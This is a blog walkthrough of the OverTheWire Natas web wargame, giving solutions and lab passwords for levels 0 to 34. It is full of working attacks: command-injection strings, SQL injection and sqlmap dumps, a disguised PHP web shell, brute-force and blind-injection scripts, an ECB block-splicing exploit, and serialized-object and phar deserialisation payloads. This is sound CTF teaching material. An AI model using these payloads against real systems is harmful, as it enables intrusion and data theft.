• OverTheWire – Natas

  • Back
21 August 2020 by 

If you found my content helpful then please consider supporting me to do even more crazy projects and writeups. Just click the button below to donate.

Natas was the third overthewire CTF I tried (after bandit and leviathan). Overall I found Natas to be a really good web based CTF covering a lot of ground. The challenges are mainly PHP with a sprinkle of Perl towards the end (which is probably less relevant nowadays). The challenges themselves are all within understanding of a beginner to intermediate CTF player except for the last couple challenges which are a bit niche.

Below are my rough notes from playing the Overthewire Natas CTF. Hopefully they will be helpful if you are stuck on this CTF.

You can play this CTF at https://overthewire.org/wargames/natas/

natas 0

View Source view-source:http://natas0.natas.labs.overthewire.org/

natas 1 Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto

natas 1

View source again not using right click.

natas 2 password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

natas 2

Image on page shows that there is files directory: Open http://natas2.natas.labs.overthewire.org/files/users.txt.

natas 3 password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

natas 3

Find on page:

<!-- No more information leaks!! Not even Google will find it this time... -->

Implies that something hidden in robots.txt

Robots.txt:

User-agent: *
Disallow: /s3cr3t/

See http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

natas 4 password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas 4

curl --referer "http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org/ -v -u natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas5 password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

natas 5

Not Logged In. Change logged in cookie to True.

natas6 password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

natas 6

View source as suggested. See it includes file includes/secret.inc. View file using http and viewing source. See token is FOEIUWGHFEEUHOFUOIU.

natas7 password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas 7

Local File Inclusion.
http://natas7.natas.labs.overthewire.org/index.php?page=home.php produces error:

Warning: include(home.php): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening 'home.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

Using hint in html, password can be included into page using:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8

natas8 password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas 8

Reverse the code

<?php

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

function decodeSecret($secret) {
    return base64_decode(strrev(hex2bin($secret)));
}

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

$decodedSecret = decodeSecret($encodedSecret);

print($decodedSecret);
print("\n");
print(encodeSecret($decodedSecret));
print("\n");
print($encodedSecret);
print("\n");
?>

Get oubWYf2kBq

natas9 password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas 9

Doesn’t escape the text before sending to run on shell. Search for a; cat /etc/natas_webpass/natas10; echo. Returns password.

natas10 password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas 10

Blocks the following: ;|&. Grep still reads files though so can do '' /etc/natas_webpass/natas10

natas11 password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas 11

<?php

function xor_encrypt($text,$key) {
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function encryptData($d, $key) {
    return base64_encode(xor_encrypt(json_encode($d), $key));
}

$encrypted = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
$encryptedBase64Decode = base64_decode($encrypted);

$data = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$jsonEncode = json_encode($data);

print($jsonEncode);
print("\n");
print($encryptedBase64Decode);
print("\n");

$key = xor_encrypt($jsonEncode, $encryptedBase64Decode);
print($key);
print("\n");

$key = "qw8J";

$testEncrypted = encryptData($data,$key);

print($testEncrypted);
print("\n");
print($encrypted);
print("\n");

$data2 = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

$newEncrypted = encryptData($data2,$key);

print($newEncrypted);
print("\n")

?>

Above code finds the key. Then use that to encode showing password. Cookie ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK.

natas12 password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas 12

Can upload php file. Extension comes from hidden form parameter. Upload the following file changing hidden parameter to have php extension.

<?php
echo file_get_contents( "/etc/natas_webpass/natas12" );
?>

Click through to view file.

natas13 password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas 13

Can get around exif check by embedding required bytes at start of php file.

fh = open('shell.php', 'w')
fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
fh.close()

natas14 password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas 14

SQL Injection.

username=" OR 1=1 -- &password=test

natas15 password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas 15

Blind Boolean Injection – Use SQLmap as shown below.
Also the manual entry for sqlmap in Kali is limited too. See https://github.com/sqlmapproject/sqlmap/wiki/Usage for full usage information.

./sqlmap.py --delay=0.5 --auth-type=Basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J -u http://natas15.natas.labs.overthewire.org/index.php --method=POST --data "username=natas16" --dbms=mysql -b --technique=B --string="This user exists" --level 5 -D natas15 -T users -C username,password --dump --batch

natas16 password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas 16

More filtering. Use subcommand and blind injection.

import requests
from requests.auth import HTTPBasicAuth
import string
import sys

password_array = []

while(True):
    found = False
    for character in string.letters+string.digits:
        sys.stdout.flush()
        payload = {
            "needle": "$(grep -E ^{}{}.* /etc/natas_webpass/natas17)hello".format("".join(password_array),character)
        }
        r = requests.get(
            'http://natas16.natas.labs.overthewire.org',
            params=payload,
            auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
        )

        if("hello" in r.text or "Input contains an illegal character!" in r.text):
            print("Nope: {}{}".format("".join(password_array), character))
        else:
            password_array.append(character)
            print("Yes: {}".format("".join(password_array)))
            found = True
            break
    if(found == False):
        break

print("Password is: {}".format("".join(password_array)))

natas17 password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

natas 17

SQL Injection (Time based)

./sqlmap.py --auth-cred="natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw" --auth-type=BASIC -u 'http://natas17.natas.labs.overthewire.org/index.php' --data "username=natas17" --level 3 --dbms=mysql -p username -D natas17 -T users --dump --batch

natas18 password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

natas 18

Looking at source code they use numbers for session ids. So lets enumerate and hope to find the admin id.

natas19 password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

natas 19

Same as natas18 but session id is encoded as x-admin in hex.

import requests
from requests.auth import HTTPBasicAuth
import sys

for i in range(1,800):
    sessionId = "{}-admin".format(str(i))
    cookies = {'PHPSESSID': ''.join(hex(ord(c))[2:] for c in sessionId)}

    r = requests.get(
        'http://natas19.natas.labs.overthewire.org',
        auth=HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'),
        cookies=cookies,
    )

    if(not "regular user" in r.text):
        print(r.text)
        print("Found: {}".format(i))
        sys.stdout.flush()
        break
    else:
        print("Nope: {}".format(i))
        sys.stdout.flush()

natas20 password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

natas 20

Looking at code. They encode session using newlines, we exploit this to give us admin permissions:

import requests
from requests.auth import HTTPBasicAuth
import sys

params = {
    "debug": True
}

s = requests.session()

r = s.get(
    'http://natas20.natas.labs.overthewire.org',
    auth=HTTPBasicAuth('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'),
    params=params,
)

print(r.text)
print("=============================================")

data = {
    "name": "a \nadmin 1"
}

r2 = s.post(
    'http://natas20.natas.labs.overthewire.org/index.php',
    auth=HTTPBasicAuth('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'),
    params=params,
    data=data,
)

print(r2.text)
print("=============================================")

r = s.get(
    'http://natas20.natas.labs.overthewire.org',
    auth=HTTPBasicAuth('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'),
    params=params,
)

print(r.text)

natas 21 password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

natas 21

Two websites share sessions. Can use vuln to set admin on 2nd website:

import requests
from requests.auth import HTTPBasicAuth
import sys

params = {
    "debug": True
}

s = requests.session()

data = {
    "submit": True,
    "admin": 1,
}

r = s.post(
    'http://natas21-experimenter.natas.labs.overthewire.org/',
    auth=HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'),
    params=params,
    data=data,
)

r2 = s.get(
    'http://natas21-experimenter.natas.labs.overthewire.org/',
    auth=HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'),
    params=params,
)

cookies = s.cookies.get_dict()

print(r2.text)
print("=============================================")

r3 = requests.get(
    'http://natas21.natas.labs.overthewire.org/',
    auth=HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'),
    params=params,
    cookies=cookies,
)

print(r3.text)

natas 22 password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

natas 22

Php redirects if not admin. However it still sends full html payload as php doesn’t exit after redirect. Use curl to view.

curl http://natas22.natas.labs.overthewire.org/\?revelio\=true -u natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ -v

natas 23 password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

natas 23

Read the code and visit:

http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou

natas 24 password: OsRmXFguozKpTZZ5X14zNO43379LZveg

natas 24

Issue in strcmp (https://www.php.net/manual/en/function.strcmp.php#108563)

http://natas24.natas.labs.overthewire.org/?passwd[]=%22%22

natas 25 password: GHF6X7YwACaYYssHVY05cFq83hRktl4c

natas 25

Directory traversal attack to obtain log file. Use UserAgent to send php code to log file.

natas 26 password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

natas26

Serialization issue. Use Logger class to write php which reads password.

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo0NDoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvdnVsbjEyMzQ1Njc4OS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czo2NDoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cyggJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3JyApOyA%2FPiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjY0OiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCAnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnICk7ID8%2BIjt9

Interesting point: php urlencodes cookies automatically with setcookie and urldecodes automatically on $_COOKIE. See https://stackoverflow.com/questions/1969232/what-are-allowed-characters-in-cookies/1969339#1969339 for interesting cookie

natas 27 password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

natas27

No SQL injection possible. Obscure mySQL bugs, using VARCHAR 64 limit on username and handling of trailing whitespace in mySQL equals. Can create new user as username: natas28 <64 spaces> t, password: abc123. This is inserted into database as username: natas28<57 spaces>. Select statement ignores trailing whitespace so can login as natas28 with new abc123 password and it prints other users data.

natas28 password: JWwR438wkgTsNKBbcJoowyysdM82YjeF

natas28

Enter crap into http://natas28.natas.labs.overthewire.org/search.php/?query=asdjsdhj. See error Incorrect amount of PKCS#7 padding for blocksize.

URL Decode query string from a normal search:

G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJ13Y0SBabOHMiDNMEMFZsKiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=

Reading https://en.wikipedia.org/wiki/PKCS_7, this should start with -----BEGIN PKCS7----- and -----END PKCS7-----

test.p7b

-----BEGIN PKCS7-----
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJ13Y0SBabOHMiDNMEMFZsKiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=
-----END PKCS7-----

Couldn’t extract anything from this. Instead problem is a Electronic Code Book Cipher problem.

Work out that blocksize is 16 bytes. That it’s ECB and that our offset is 2 blocks, 6 bytes. Then apply this strategy:

# Strategy: Fill 3rd block with 10 A's. Fill 4th block with 15 A's and the escape character for the quote.
# Fill blocks 5+ with quote and our SQL injection. Take returned blocks and remove block 4.
import requests
from requests.auth import HTTPBasicAuth
from urllib.parse import unquote, quote
import base64

def chunks(lst, n):
    """Yield successive n-sized chunks from lst."""
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

def makeReq(search_string):

    data = {
        "query": search_string,
    }

    r = requests.post(
        'http://natas28.natas.labs.overthewire.org/index.php',
        auth=HTTPBasicAuth('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF'),
        data=data,
    )

    code = r.url.replace("http://natas28.natas.labs.overthewire.org/search.php/?query=","")
    return base64.b64decode(unquote(code))

def nicePrint(byteString):
    return " ".join(chunks(byteString.hex(),32))

for i in range(30):
    search = "a"*i
    code = makeReq(search)
    print("{} \t {}".format(i,nicePrint(code)))

print("10A: \t{}".format(nicePrint(makeReq("a"*10))))
print("10B: \t{}".format(nicePrint(makeReq("b"*10))))
print("12A: \t{}".format(nicePrint(makeReq("a"*12))))
print("11A+': \t{}".format(nicePrint(makeReq("a"*11+"'"))))
print("10A+': \t{}".format(nicePrint(makeReq("a"*10+"'"))))

# At 13 characters a new block is spawned. At 29 characters a new block is spawned => 16 byte blocks
# At 10 characters block 3 stops changing. 
# 12A and 12B only block 3 changes 
# Using a quote causes another block to spawn so it must be being escaped

# Strategy: Fill 3rd block with 10 A's. Fill 4th block with 15 A's and the escape character for the quote. 
# Fill blocks 5+ with quote and our SQL injection. Take returned blocks and remove block 4.

#mysqlHack = "UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS"
#mysqlHack = "UNION (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS)"
mysqlHack = "UNION SELECT password FROM users"

code = makeReq("a"*10 + "a"*15 + "' "+mysqlHack+"; # -- ")
fixedCode = code[0:48]+code[64:]

r= requests.get(
    "http://natas28.natas.labs.overthewire.org/search.php/?query="+quote(base64.b64encode(fixedCode)),
    auth=HTTPBasicAuth('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')
)
print(r.status_code)
print(r.text)

natas29 password: airooCaiseiyee8he8xongien9euhe8b

natas29

See it’s doing file inclusion. Confirm with http://natas29.natas.labs.overthewire.org/index.pl?file=./perl+underground. Try usual path directory traversal – doesn’t work. Maybe it’s a system command so try pipes:
http://natas29.natas.labs.overthewire.org/index.pl?file=|%20echo%20a results in a.txt echoing. View source by running http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20index.pl%00. It filters out anything with natas in but it also filters html out so lets add in some quotes in natas: http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/na%22tas_webpass/nat%22as30%00

natas30 password: wie9iexae0Daihohv8vuu3cei9wahf0e

natas30

Looking at the code we see the perl DBI database connection library and the use of quote(). Googling perl dbi quote injection comes to this helpful post: https://security.stackexchange.com/a/175872. It shows that using a repeated parameter in our request will allow us to turn quoting off.

We repeat the POST request with the following data: username='abc'+OR+1%3d1+--+&username=4&password=abc123 and get the result natas31hay7aecuungiuKaezuathuk9biin0pu1. Stripping natas31 from the string results in the password.

natas31 password: hay7aecuungiuKaezuathuk9biin0pu1

natas31

This presentation explains the exploit well https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf (credit: https://axcheron.github.io/writeups/otw/natas/#natas-31-solution). Send repeated file parameter with first one being the string ARGV. Then add a query parameter /bin/cat%20/etc/natas_webpass/natas32%20|. Perl will now execute this command. Magic.

natas32 password: no1vohsheCaiv3ieH4em1ahchisainge

natas32

Same as previous task. Just use /bin/ls%20/%20| to traverse around and then execute /var/www/natas/natas32/getpassword%20|.

natas33 password: shoogeiGa2yee3de6Aex8uaXeech5eey

natas33

Insecure deserialisation using phar format.
See https://www.php.net/manual/en/book.phar.php#123125. Basically file operations on a phar:// link will cause the metadata object within the phar to be deserialised.

We can control where the file is uploaded to by setting the hidden filename parameter.

So first we upload our payload:

<?php echo file_get_contents("/etc/natas_webpass/natas34"); ?>

as runme.php.

Next we create and upload our phar:

<?php
class Executor{
    private $filename="runme.php";
    private $signature=True;
    private $init=False;
}

$object = new Executor();
$phar = new Phar('lemon.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($object);
$phar->stopBuffering();
?>

Upload the output of this as lemon.phar and upload again as phar://lemon.phar/test.txt to execute.

The code will be run and give you the password

natas34 password: shu5ouSu6eicielahhae0mohd4ui5uig